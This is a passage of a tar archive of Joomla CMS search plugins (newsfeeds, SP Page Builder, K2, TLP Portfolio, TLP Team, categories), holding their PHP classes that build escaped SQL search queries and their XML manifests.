				foreach ($words as $word)
				{
					$word = $db->quote('%' . $db->escape($word, true) . '%', false);
					$wheres2 = array();
					$wheres2[] = 'a.name LIKE ' . $word;
					$wheres2[] = 'a.link LIKE ' . $word;
					$wheres[] = implode(' OR ', $wheres2);
				}

				$where = '(' . implode(($phrase === 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
				break;
		}

		switch ($ordering)
		{
			case 'alpha':
				$order = 'a.name ASC';
				break;

			case 'category':
				$order = 'c.title ASC, a.name ASC';
				break;

			case 'oldest':
			case 'popular':
			case 'newest':
			default:
				$order = 'a.name ASC';
		}

		$searchNewsfeeds = JText::_('PLG_SEARCH_NEWSFEEDS_NEWSFEEDS');

		$query = $db->getQuery(true);

		// SQLSRV changes.
		$case_when  = ' CASE WHEN ';
		$case_when .= $query->charLength('a.alias', '!=', '0');
		$case_when .= ' THEN ';
		$a_id       = $query->castAsChar('a.id');
		$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when .= ' ELSE ';
		$case_when .= $a_id . ' END as slug';

		$case_when1  = ' CASE WHEN ';
		$case_when1 .= $query->charLength('c.alias', '!=', '0');
		$case_when1 .= ' THEN ';
		$c_id        = $query->castAsChar('c.id');
		$case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when1 .= ' ELSE ';
		$case_when1 .= $c_id . ' END as catslug';

		$query->select('a.name AS title, \'\' AS created, a.link AS text, ' . $case_when . ',' . $case_when1)
			->select($query->concatenate(array($db->quote($searchNewsfeeds), 'c.title'), ' / ') . ' AS section')
			->select('\'1\' AS browsernav')
			->from('#__newsfeeds AS a')
			->join('INNER', '#__categories as c ON c.id = a.catid')
			->where('(' . $where . ') AND a.published IN (' . implode(',', $state) . ') AND c.published = 1 AND c.access IN (' . $groups . ')')
			->order($order);

		// Filter by language.
		if ($app->isClient('site') && JLanguageMultilang::isEnabled())
		{
			$tag = JFactory::getLanguage()->getTag();
			$query->where('a.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')')
				->where('c.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
		}

		$db->setQuery($query, 0, $limit);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$rows = array();
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		if ($rows)
		{
			foreach ($rows as $key => $row)
			{
				$rows[$key]->href = 'index.php?option=com_newsfeeds&view=newsfeed&catid=' . $row->catslug . '&id=' . $row->slug;
			}
		}

		return $rows;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              search/sppagebuilder/sppagebuilder.php                                                              0000705                 00000010457 15242051521 0014200 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * @package     JoomShaper Plugin
 * @subpackage  Search.sppagebuilder
 *
 * @copyright   Copyright (C) 2015 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die('Restricted access');

/**
* Sppagebuilder search plugins
*
* @since 1.0.4
*/
class PlgSearchSppagebuilder extends JPlugin
{

	protected $autoloadLanguage = true;

	protected $app;

	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 */

	public function onContentSearchAreas()
	{
		static $areas = array(
			'sppagebuilder' => 'SP_PAGEBUILDER_SEARCH_AREAS'
		);

		return $areas;
	}

	/**
	 * Search content (SP Pagebuilder).
	 *
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   mixed   $areas     An array if the search is to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 */

	public function onContentSearch( $text, $phrase = '', $ordering = '', $areas = null )
	{
		$db 	= JFactory::getDbo();
		$limit 	= $this->params->def('search_limit', 50);
		$tag    = JFactory::getLanguage()->getTag();

		if (is_array($areas)) {
			if (!array_intersect($areas, array_keys($this->onContentSearchAreas()))) {
				return array();
			}
		}

		$text = trim($text);

		if ($text == '') {
			return array();
		}

		JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

		switch ($phrase)
		{
			case 'exact':
			case 'all':
			case 'any':
			default:
				$text = $db->quote('%' . $db->escape($text, true) . '%', false);
				$wheres1 = array();
				$wheres1[] = 's.title LIKE ' . $text;
				$wheres1[] = 's.text LIKE ' . $text;
				$where = '((' . implode(') OR (', $wheres1) . ')) AND s.published = 1';
				break;
		}

		switch ($ordering)
		{
			case 'oldest':
				$order = 's.created_time ASC';
				break;

			case 'alpha':
				$order = 's.title ASC';
				break;

			case 'newest':
			case 'category':
			case 'popular':
			default:
				$order = 's.created_on DESC';
				break;
		}

		$query = $db->getQuery(true);

		if ( $limit > 0 ) {
			$query->clear();
			$query->select('s.id as id, c.id as cID, c.catid as catid, s.title AS title, s.created_on as created, \'\' AS browsernav, \'Page\' AS section, s.language as language');
			$query->from($db->quoteName('#__sppagebuilder', 's'));
			$query->join('LEFT', $db->quoteName('#__content', 'c') . ' ON (' . $db->quoteName('s.view_id') . ' = ' . $db->quoteName('c.id') . ' AND ' .$db->quoteName('s.active') .'= 1)');
			$query->where($where);

			if ($this->app->isClient('site') && JLanguageMultilang::isEnabled())
			{
				$query->where('s.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
			}

			$query->order($order);

			$db->setQuery($query, 0, $limit);
		}
	
		try
		{
			$list = $db->loadObjectList();

			if (isset($list))
			{
				foreach ($list as $key => $item)
				{
					if( $item->cID ) {
						$list[$key]->section = 'Page - Article';
						$list[$key]->href = ContentHelperRoute::getArticleRoute($item->cID, $item->catid, $item->language);
					} else {
						$list[$key]->href = JRoute::_('index.php?option=com_sppagebuilder&view=page&id='.$item->id.((($item->language != '*'))? '&lang='.$item->language:'') . $this->getItemid($item->id));
					}
				}
			}
		}
		catch (RuntimeException $e)
		{
			$list = array();
			$this->app->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		return $list;
	}

	private function getItemid($id = null) {
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('id')));
		$query->from($db->quoteName('#__menu'));
		$query->where($db->quoteName('link') . ' LIKE '. $db->quote('%view=page&id='. $id .'%'));
		$query->where($db->quoteName('published') . ' = '. $db->quote('1'));
		$db->setQuery($query);
		$result = $db->loadResult();

		if($result) {
			return '&Itemid=' . $result;
		}

		return;
	}
}
                                                                                                                                                                                                                 search/sppagebuilder/sppagebuilder.xml                                                              0000705                 00000001527 15242051521 0014207 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.3" type="plugin" group="search" method="upgrade">
	<name>plg_search_sppagebuilder</name>
	<author>JoomShaper</author>
	<creationDate>July 2015</creationDate>
	<copyright>Copyright (C) 2015 Open Source Matters. All rights reserved.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>support@joomshaper.com</authorEmail>
	<authorUrl>www.joomshaper.com</authorUrl>
	<version>1.4</version>
	<description>PLG_SEARCH_SPPAGEBUILDER_DESCRIPTION</description>
	<files>
		<filename plugin="sppagebuilder">sppagebuilder.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB.plg_search_sppagebuilder.ini</language>
		<language tag="en-GB">language/en-GB.plg_search_sppagebuilder.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                         search/index.html                                                                                   0000705                 00000000037 15242051521 0010001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 search/k2/k2.php                                                                                    0000705                 00000021434 15242051521 0007351 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    2.11 (rolling release)
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2009 - 2024 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL: https://gnu.org/licenses/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

jimport('joomla.plugin.plugin');
jimport('joomla.html.parameter');

class plgSearchK2 extends JPlugin
{
    public function onContentSearchAreas()
    {
        return $this->onSearchAreas();
    }

    public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
    {
        return $this->onSearch($text, $phrase, $ordering, $areas);
    }

    public function onSearchAreas()
    {
        JPlugin::loadLanguage('plg_search_k2', JPATH_ADMINISTRATOR);
        static $areas = array('k2' => 'K2_ITEMS');
        return $areas;
    }

    public function onSearch($text, $phrase = '', $ordering = '', $areas = null)
    {
        JPlugin::loadLanguage('plg_search_k2', JPATH_ADMINISTRATOR);
        jimport('joomla.html.parameter');
        $app = JFactory::getApplication();
        $db = JFactory::getDbo();
        $jnow = JFactory::getDate();
        $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();

        $nullDate = $db->getNullDate();
        $user = JFactory::getUser();
        if (K2_JVERSION != '15') {
            $accessCheck = " IN(".implode(',', $user->getAuthorisedViewLevels()).") ";
        } else {
            $aid = $user->get('aid');
            $accessCheck = " <= {$aid} ";
        }
        $tagIDs = array();
        $itemIDs = array();

        require_once(JPATH_SITE.'/administrator/components/com_search/helpers/search.php');
        require_once(JPATH_SITE.'/components/com_k2/helpers/route.php');

        $searchText = $text;
        if (is_array($areas)) {
            if (!array_intersect($areas, array_keys($this->onSearchAreas()))) {
                return array();
            }
        }

        $plugin = JPluginHelper::getPlugin('search', 'k2');
        $pluginParams = class_exists('JParameter') ? new JParameter($plugin->params) : new JRegistry($plugin->params);

        $limit = $pluginParams->def('search_limit', 50);

        $text = JString::trim($text);
        if ($text == '') {
            return array();
        }

        $rows = array();

        if ($limit > 0) {
            if ($phrase == 'exact') {
                $text = JString::trim($text, '"');
                $escaped = (K2_JVERSION == '15') ? $db->getEscaped($text, true) : $db->escape($text, true);
                $quoted = $db->Quote('%'.$escaped.'%', false);
                $where = "(
                    LOWER(i.title) LIKE ".$quoted." OR
                    LOWER(i.introtext) LIKE ".$quoted." OR
                    LOWER(i.`fulltext`) LIKE ".$quoted." OR
                    LOWER(i.extra_fields_search) LIKE ".$quoted." OR
                    LOWER(i.image_caption) LIKE ".$quoted." OR
                    LOWER(i.image_credits) LIKE ".$quoted." OR
                    LOWER(i.video_caption) LIKE ".$quoted." OR
                    LOWER(i.video_credits) LIKE ".$quoted." OR
                    LOWER(i.metadesc) LIKE ".$quoted." OR
                    LOWER(i.metakey) LIKE ".$quoted."
                )";
            } else {
                $words = explode(' ', $text);
                $wheres = array();
                foreach ($words as $word) {
                    $escaped = (K2_JVERSION == '15') ? $db->getEscaped($word, true) : $db->escape($word, true);
                    $quoted = $db->Quote('%'.$escaped.'%', false);
                    $wheres[] = "(
                        LOWER(i.title) LIKE ".$quoted." OR
                        LOWER(i.introtext) LIKE ".$quoted." OR
                        LOWER(i.`fulltext`) LIKE ".$quoted." OR
                        LOWER(i.extra_fields_search) LIKE ".$quoted." OR
                        LOWER(i.image_caption) LIKE ".$quoted." OR
                        LOWER(i.image_credits) LIKE ".$quoted." OR
                        LOWER(i.video_caption) LIKE ".$quoted." OR
                        LOWER(i.video_credits) LIKE ".$quoted." OR
                        LOWER(i.metadesc) LIKE ".$quoted." OR
                        LOWER(i.metakey) LIKE ".$quoted."
                    )";
                }
                $where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
            }

            if ($pluginParams->get('search_tags')) {
                $tagQuery = JString::strtolower($text);
                $escaped = (K2_JVERSION == '15') ? $db->getEscaped($tagQuery, true) : $db->escape($tagQuery, true);
                $quoted = $db->Quote('%'.$escaped.'%', false);
                $query = "SELECT id FROM #__k2_tags WHERE published = 1 AND LOWER(name) LIKE ".$quoted;
                $db->setQuery($query);
                $tagIDs = (K2_JVERSION == '30') ? $db->loadColumn() : $db->loadResultArray();
                if (count($tagIDs)) {
                    sort($tagIDs);
                    $query = "SELECT itemID FROM #__k2_tags_xref WHERE tagID IN (".implode(',', $tagIDs).")";
                    $db->setQuery($query);
                    $itemIDs = (K2_JVERSION == '30') ? $db->loadColumn() : $db->loadResultArray();
                    $itemIDs = array_unique($itemIDs);
                    if (count($itemIDs)) {
                        //JArrayHelper::toInteger($itemIDs);
                        sort($itemIDs);
                        $where .= " OR i.id IN (".implode(',', $itemIDs).")";
                    }
                }
            }

            $query = "SELECT i.title AS title,
                    i.metadesc,
                    i.metakey,
                    c.name as section,
                    i.image_caption,
                    i.image_credits,
                    i.video_caption,
                    i.video_credits,
                    i.extra_fields_search,
                    i.created,
                    CONCAT(i.introtext, i.fulltext) AS text,
                    CASE WHEN CHAR_LENGTH(i.alias) THEN CONCAT_WS(':', i.id, i.alias) ELSE i.id END as slug,
                    CASE WHEN CHAR_LENGTH(c.alias) THEN CONCAT_WS(':', c.id, c.alias) ELSE c.id END as catslug
                FROM #__k2_items AS i
                INNER JOIN #__k2_categories AS c ON c.id = i.catid
                WHERE ({$where})
                    AND i.trash = 0
                    AND i.published = 1
                    AND i.access {$accessCheck}
                    AND c.published = 1
                    AND c.access {$accessCheck}
                    AND c.trash = 0
                    AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                    AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")";

            if (K2_JVERSION != '15' && $app->isSite() && $app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $query .= " AND c.language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") AND i.language IN (".$db->Quote($languageTag).", ".$db->Quote('*').")";
            }

            switch ($ordering) {
                case 'oldest':
                    $query .= ' ORDER BY i.created ASC';
                    break;

                case 'popular':
                    $query .= ' ORDER BY i.hits DESC';
                    break;

                case 'alpha':
                    $query .= ' ORDER BY i.title ASC';
                    break;

                case 'category':
                    $query .= ' ORDER BY c.name ASC, i.title ASC';
                    break;

                case 'newest':
                default:
                    $query .= ' ORDER BY i.created DESC';
                    break;
            }

            $db->setQuery($query, 0, $limit);
            $list = $db->loadObjectList();

            $limit -= count($list);
            if (isset($list)) {
                foreach ($list as $key => $item) {
                    $list[$key]->href = JRoute::_(K2HelperRoute::getItemRoute($item->slug, $item->catslug));
                }
            }
            $rows[] = $list;
        }

        $results = array();
        if (count($rows)) {
            foreach ($rows as $row) {
                $new_row = array();
                foreach ($row as $key => $item) {
                    $item->browsernav = '';
                    $item->tag = $searchText;
                    if (searchHelper::checkNoHTML($item, $searchText, array('text', 'title', 'metakey', 'metadesc', 'section', 'image_caption', 'image_credits', 'video_caption', 'video_credits', 'extra_fields_search', 'tag'))) {
                        $new_row[] = $item;
                    }
                }
                $results = array_merge($results, (array)$new_row);
            }
        }

        return $results;
    }
}
                                                                                                                                                                                                                                    search/k2/k2.xml                                                                                    0000705                 00000002556 15242051521 0007366 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="search" method="upgrade">
    <name>Search - K2</name>
    <author>JoomlaWorks</author>
    <creationDate>(see K2 component)</creationDate>
    <copyright>Copyright (c) 2009 - 2024 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>https://www.joomlaworks.net</authorUrl>
    <version>(see K2 component)</version>
    <license>https://gnu.org/licenses/gpl.html</license>
    <description>K2_THIS_PLUGIN_EXTENDS_THE_DEFAULT_JOOMLA_SEARCH_FUNCTIONALITY_TO_K2_CONTENT</description>
    <files>
        <filename plugin="k2">k2.php</filename>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic">
                <field name="search_limit" type="text" size="5" default="50" label="K2_SEARCH_LIMIT" description="K2_THE_NUMBER_OF_ITEMS_TO_RETURN_WHEN_PERFORMING_A_SEARCH"/>
                <field name="search_tags" type="radio" default="0" label="K2_ENABLE_SEARCHING_IN_TAGS" description="K2_SELECT_IF_YOU_WANT_TO_SEARCH_ITEMS_TAGS_NOTE_THAT_THIS_CAN_BE_VERY_SLOW_ON_LARGE_SITES">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
            </fieldset>
        </fields>
    </config>
</extension>
                                                                                                                                                  search/tlpportfolio/index.html                                                                      0000705                 00000000037 15242051521 0012536 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 search/tlpportfolio/tlpportfolio.xml                                                                0000705                 00000002653 15242051521 0014026 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search">
    <name>plg_search_tlpportfolio</name>
    <author>TechLabPro</author>
    <creationDate>2015-12-01</creationDate>
    <copyright>Copyright (C) 2015. All rights reserved.</copyright>
    <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
    <authorEmail>info@techlabpro.com</authorEmail>
    <authorUrl>http://www.techlabpro.com</authorUrl>
    <version>2.1</version>
    <description>PLG_SEARCH_COM_TLPPORTFOLIO_XML_DESCRIPTION</description>
    <files>
        <filename plugin="tlpportfolio">tlpportfolio.php</filename>
        <filename>index.html</filename>
    </files>
    <languages folder="../../../languages/site/search/tlpportfolio">
        
			<language tag="en-GB">../../../languages/plugins/search/tlpportfolio/en-GB/en-GB.plg_search_tlpportfolio.ini</language>
			<language tag="en-GB">../../../languages/plugins/search/tlpportfolio/en-GB/en-GB.plg_search_tlpportfolio.sys.ini</language>
    </languages>
    <config>
        <fields name="params">

            <fieldset name="basic">
                <field name="search_limit" type="text" default="50" size="5"
                       description="PLG_SEARCH_COM_TLPPORTFOLIO_FIELD_SEARCHLIMIT_DESC"
                       label="PLG_SEARCH_COM_TLPPORTFOLIO_FIELD_SEARCHLIMIT_LABEL" />
            </fieldset>

        </fields>
    </config>
</extension>
                                                                                     search/tlpportfolio/tlpportfolio.php                                                                0000705                 00000007771 15242051521 0014023 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Search.content
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

require_once JPATH_SITE . '/components/com_tlpportfolio/router.php';

/**
 * Content search plugin.
 *
 * @package     Joomla.Plugin
 * @subpackage  Search.content
 * @since       1.6
 */
class PlgSearchTlpportfolio extends JPlugin
{
	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   1.6
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'tlpportfolio' => 'Tlpportfolio'
		);

		return $areas;
	}

	/**
	 * Search content (articles).
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   mixed   $areas     An array if the search it to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   1.6
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		$db = JFactory::getDbo();

		if (is_array($areas))
		{
			if (!array_intersect($areas, array_keys($this->onContentSearchAreas())))
			{
				return array();
			}
		}

		$limit = $this->params->def('search_limit', 50);

		$text = trim($text);

		if ($text == '')
		{
			return array();
		}

		$rows = array();

		
//Search Portfolios.
if ($limit > 0) {
    switch ($phrase) {
        case 'exact':
            $text = $db->quote('%' . $db->escape($text, true) . '%', false);
            $wheres2 = array();
            $wheres2[] = 'a.title LIKE ' . $text;
$wheres2[] = 'a.category LIKE ' . $text;
$wheres2[] = 'tlpportfolio_tools.title LIKE ' . $text;
$wheres2[] = 'a.client_name LIKE ' . $text;
            $where = '(' . implode(') OR (', $wheres2) . ')';
            break;

        case 'all':
        case 'any':
        default:
            $words = explode(' ', $text);
            $wheres = array();

            foreach ($words as $word) {
                $word = $db->quote('%' . $db->escape($word, true) . '%', false);
                $wheres2 = array();
                $wheres2[] = 'a.title LIKE ' . $word;
$wheres2[] = 'a.category LIKE ' . $word;
$wheres2[] = 'tlpportfolio_tools.title LIKE ' . $word;
$wheres2[] = 'a.client_name LIKE ' . $word;
                $wheres[] = implode(' OR ', $wheres2);
            }

            $where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
            break;
    }

    switch ($ordering) {
        default:
            $order = 'a.id DESC';
            break;
    }

    $query = $db->getQuery(true);

    $query
            ->clear()
            ->select(
                    array(
                        'a.id',
                        'a.title AS title',
                        '"" AS created',
                        'a.title AS text',
                        '"Portfolio" AS section',
                        '1 AS browsernav'
                    )
            )
            ->from('#__tlpportfolio_portfolio AS a')
            ->innerJoin('`#__tlpportfolio_tools` AS tlpportfolio_tools ON tlpportfolio_tools.id = a.tools_used')
            ->where('(' . $where . ')')
            ->group('a.id')
            ->order($order);

    $db->setQuery($query, 0, $limit);
    $list = $db->loadObjectList();
    $limit -= count($list);

    if (isset($list)) {
        foreach ($list as $key => $item) {
            $list[$key]->href = JRoute::_('index.php?option=com_tlpportfolio&view=portfolio&id=' . $item->id, false, 2);
        }
    }

    $rows = array_merge($list, $rows);
}

		return $rows;
	}
}
       search/tlpteam/index.html                                                                           0000705                 00000000037 15242051521 0011447 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 search/tlpteam/tlpteam.xml                                                                          0000705                 00000002565 15242051521 0011652 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search">
    <name>plg_search_tlpteam</name>
    <author>TechLabPro</author>
    <creationDate>2015-09-16</creationDate>
    <copyright>Copyright (C) 2013. All rights reserved.</copyright>
    <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
    <authorEmail>techlabpro@gmail.com</authorEmail>
    <authorUrl>http://www.techlabpro.com</authorUrl>
    <version>1.0</version>
    <description>PLG_SEARCH_COM_TLPTEAM_XML_DESCRIPTION</description>
    <files>
        <filename plugin="tlpteam">tlpteam.php</filename>
        <filename>index.html</filename>
    </files>
    <languages folder="../../../languages/site/search/tlpteam">
        
			<language tag="en-GB">../../../languages/plugins/search/tlpteam/en-GB/en-GB.plg_search_tlpteam.ini</language>
			<language tag="en-GB">../../../languages/plugins/search/tlpteam/en-GB/en-GB.plg_search_tlpteam.sys.ini</language>
    </languages>
    <config>
        <fields name="params">

            <fieldset name="basic">
                <field name="search_limit" type="text" default="50" size="5"
                       description="PLG_SEARCH_COM_TLPTEAM_FIELD_SEARCHLIMIT_DESC"
                       label="PLG_SEARCH_COM_TLPTEAM_FIELD_SEARCHLIMIT_LABEL" />
            </fieldset>

        </fields>
    </config>
</extension>
                                                                                                                                           search/tlpteam/tlpteam.php                                                                          0000705                 00000007527 15242051521 0011644 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Search.content
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

require_once JPATH_SITE . '/components/com_tlpteam/router.php';

/**
 * Content search plugin.
 *
 * @package     Joomla.Plugin
 * @subpackage  Search.content
 * @since       1.6
 */
class PlgSearchTlpteam extends JPlugin {

    /**
     * Determine areas searchable by this plugin.
     *
     * @return  array  An array of search areas.
     *
     * @since   1.6
     */
    public function onContentSearchAreas() {
        static $areas = array(
            'tlpteam' => 'Tlpteam'
        );

        return $areas;
    }

    /**
     * Search content (articles).
     * The SQL must return the following fields that are used in a common display
     * routine: href, title, section, created, text, browsernav.
     *
     * @param   string  $text      Target search string.
     * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
     * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
     * @param   mixed   $areas     An array if the search it to be restricted to areas or null to search all areas.
     *
     * @return  array  Search results.
     *
     * @since   1.6
     */
    public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null) {
        $db = JFactory::getDbo();

        if (is_array($areas)) {
            if (!array_intersect($areas, array_keys($this->onContentSearchAreas()))) {
                return array();
            }
        }

        $limit = $this->params->def('search_limit', 50);

        $text = trim($text);

        if ($text == '') {
            return array();
        }

        $rows = array();

        
//Search Teams.
if ($limit > 0) {
    switch ($phrase) {
        case 'exact':
            $text = $db->quote('%' . $db->escape($text, true) . '%', false);
            $wheres2 = array();
            $wheres2[] = 'a.name LIKE ' . $text;
$wheres2[] = 'a.position LIKE ' . $text;
            $where = '(' . implode(') OR (', $wheres2) . ')';
            break;

        case 'all':
        case 'any':
        default:
            $words = explode(' ', $text);
            $wheres = array();

            foreach ($words as $word) {
                $word = $db->quote('%' . $db->escape($word, true) . '%', false);
                $wheres2 = array();
                $wheres2[] = 'a.name LIKE ' . $word;
$wheres2[] = 'a.position LIKE ' . $word;
                $wheres[] = implode(' OR ', $wheres2);
            }

            $where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
            break;
    }

    switch ($ordering) {
        default:
            $order = 'a.id DESC';
            break;
    }

    $query = $db->getQuery(true);

    $query
            ->clear()
            ->select(
                    array(
                        'a.id',
                        'name AS title',
                        '"" AS created',
                        'name AS text',
                        '"Team" AS section',
                        '1 AS browsernav'
                    )
            )
            ->from('#__tlpteam_team AS a')
            
            ->where('(' . $where . ')')
            ->group('a.id')
            ->order($order);

    $db->setQuery($query, 0, $limit);
    $list = $db->loadObjectList();
    $limit -= count($list);

    if (isset($list)) {
        foreach ($list as $key => $item) {
            $list[$key]->href = JRoute::_('index.php?option=com_tlpteam&view=team&id=' . $item->id, false, 2);
        }
    }

    $rows = array_merge($list, $rows);
}

        return $rows;
    }

}
                                                                                                                                                                         search/categories/categories.xml                                                                    0000705                 00000003340 15242051521 0013000 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search" method="upgrade">
	<name>plg_search_categories</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEARCH_CATEGORIES_XML_DESCRIPTION</description>
	<files>
		<filename plugin="categories">categories.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_search_categories.ini</language>
		<language tag="en-GB">en-GB.plg_search_categories.sys.ini</language>
	</languages>
	<config>
		<fields name="params">

			<fieldset name="basic">
				<field
					name="search_limit"
					type="number"
					label="JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL"
					description="JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC"
					default="50"
					filter="integer"
					size="5"
				/>

				<field
					name="search_content"
					type="radio"
					label="JFIELD_PLG_SEARCH_ALL_LABEL"
					description="JFIELD_PLG_SEARCH_ALL_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="search_archived"
					type="radio"
					label="JFIELD_PLG_SEARCH_ARCHIVED_LABEL"
					description="JFIELD_PLG_SEARCH_ARCHIVED_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>

		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                search/categories/categories.php                                                                    0000705                 00000011604 15242051521 0012771 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Search.categories
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

/**
 * Categories search plugin.
 *
 * @since  1.6
 */
class PlgSearchCategories extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   1.6
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'categories' => 'PLG_SEARCH_CATEGORIES_CATEGORIES'
		);

		return $areas;
	}

	/**
	 * Search content (categories).
	 *
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   mixed   $areas     An array if the search is to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   1.6
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		$db = JFactory::getDbo();
		$user = JFactory::getUser();
		$app = JFactory::getApplication();
